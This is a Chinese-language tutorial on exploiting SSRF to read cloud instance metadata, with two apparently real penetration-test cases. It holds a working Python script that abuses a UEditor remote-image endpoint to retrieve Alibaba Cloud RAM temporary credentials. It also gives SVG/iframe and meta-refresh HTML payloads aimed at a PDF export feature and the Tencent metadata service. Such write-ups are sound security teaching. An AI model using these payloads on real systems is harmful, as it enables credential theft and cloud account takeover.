SSRF漏洞实战：从云服务器元数据泄露到权限接管

一、云服务器元数据服务

1. 什么是元数据服务？

为了方便用户从云服务器实例内部动态获取自身的配置信息，主流云服务商均提供了元数据服务。该服务通常是一个监听在特定内网地址的HTTP接口，无需任何认证即可访问，能够返回当前实例的详细数据和配置。

常见元数据服务地址：

• AWS: http://169.254.169.254/latest/meta-data/
• 阿里云: http://100.100.100.200/latest/meta-data/
• 腾讯云: http://metadata.tencentyun.com/latest/meta-data/

访问该服务可以获取到以下敏感信息：

• 实例ID、所属区域、内网/公网IP地址
• 关联的IAM角色或子账号权限信息
• 预设的SSH公钥
• 挂载的磁盘信息与安全组规则
• 甚至包括临时的访问密钥（AK/SK）或Token（如果实例绑定了高权限角色）

二、SSRF漏洞如何成为元数据的“窃取通道”

SSRF（服务端请求伪造）漏洞使得攻击者能够诱使服务器向内部或特定地址发起请求。当存在SSRF漏洞的服务器恰好部署在云上时，元数据服务的内网地址便成为了一个极具诱惑力的目标。

常见的SSRF漏洞触发场景包括：

• 图片下载或远程抓取功能（如头像上传、文章插图抓取）
• Webhook回调地址的校验与请求
• 提供API代理或转发的服务端功能
• 某些Markdown渲染器在处理外链图片时的加载逻辑

通过构造指向云元数据地址的恶意请求，攻击者可以利用SSRF漏洞轻而易举地读取到这些本应受内网保护的敏感信息。

三、实战案例剖析

下面通过两个来自真实场景的案例，具体分析如何利用SSRF漏洞获取并利用云服务器元数据。

案例一：编辑器图片上传功能中的SSRF

本案例思路来源于一次真实的渗透测试。目标站点使用了Laravel框架，并集成了UEditor编辑器。在对Laravel应用进行测试时，发现其UEditor插件的“远程图片抓取”功能存在SSRF漏洞。

漏洞验证过程：

1. 在编辑器上传图片处，尝试让服务器从 https://baidu.com?.jpg 地址抓取图片。
2. 查看返回的文件地址及内容，确认服务器确实访问了指定URL，证明SSRF漏洞存在。

由于该站点部署在阿里云上，接下来的目标便是利用这个SSRF漏洞访问内网的元数据服务。为了提高效率，可以编写一个简单的Python脚本来自动化完成“触发漏洞-读取结果”的过程。

import sys
import requests

ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}

req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)
print(req2.text)

使用脚本请求阿里云元数据地址 http://100.100.100.200/latest/meta-data：

成功获取到元数据目录列表。值得注意的是，返回信息中包含 ram/ 目录，这强烈暗示该ECS实例分配了RAM角色，可能存在临时访问凭证。继续深入访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role，果然获得了包含 AccessKeyId、AccessKeySecret 和 SecurityToken 的临时凭证。

至此，攻击者已经拿到了进入云环境内部的“钥匙”。后续可以利用云服务商CLI工具或专用的云环境利用框架，使用这些凭证进行横向移动，甚至接管云上资源。这正是安全/渗透测试中需要重点防范的高危风险链。

案例二：文件导出功能中的SSRF

本案例展示了另一种常见的SSRF触发场景。某些网站提供将数据报表或HTML内容导出为PDF/图片的功能。在导出过程中，如果服务器会渲染用户可控的HTML内容，则可能构成SSRF。

漏洞复现： 在导出功能的POST请求中，发现 html 参数可控。尝试插入一个请求外部资源的SVG标签：

<svg><iframe src="http://123312.h41t0y.dnslog.cn" width=" " height=" "/></svg>

DNSLog平台成功接收到请求，确认漏洞存在。

当<svg>、<iframe>等标签被过滤时，可以尝试使用<meta>标签的0秒刷新功能来请求元数据：

<meta http-equiv="refresh" content="0;url=http://metadata.tencentyun.com/latest/meta-data" />

服务器在生成PDF时，会访问指定的元数据地址，并将返回的元数据信息直接输出到PDF文件中，从而造成信息泄露。

总结与思考

云服务器的元数据服务在设计上追求便捷，默认的内网可访问、低认证门槛特性，在遇到SSRF这类漏洞时会被急剧放大风险。一旦攻击者通过SSRF获取到实例角色对应的临时凭据，就相当于获得了该角色在云平台上的所有操作权限。

攻击者可以借此非法调用云API，窃取业务数据，创建后门用户，甚至导致整个云上资源被接管。对于企业而言，这不仅是单台服务器的失陷，更可能演变成一次严重的云上安全事件。因此，在构建和运维基于云原生/IaaS平台的应用时，必须将SSRF漏洞的防护与元数据服务的访问控制纳入关键安全考量。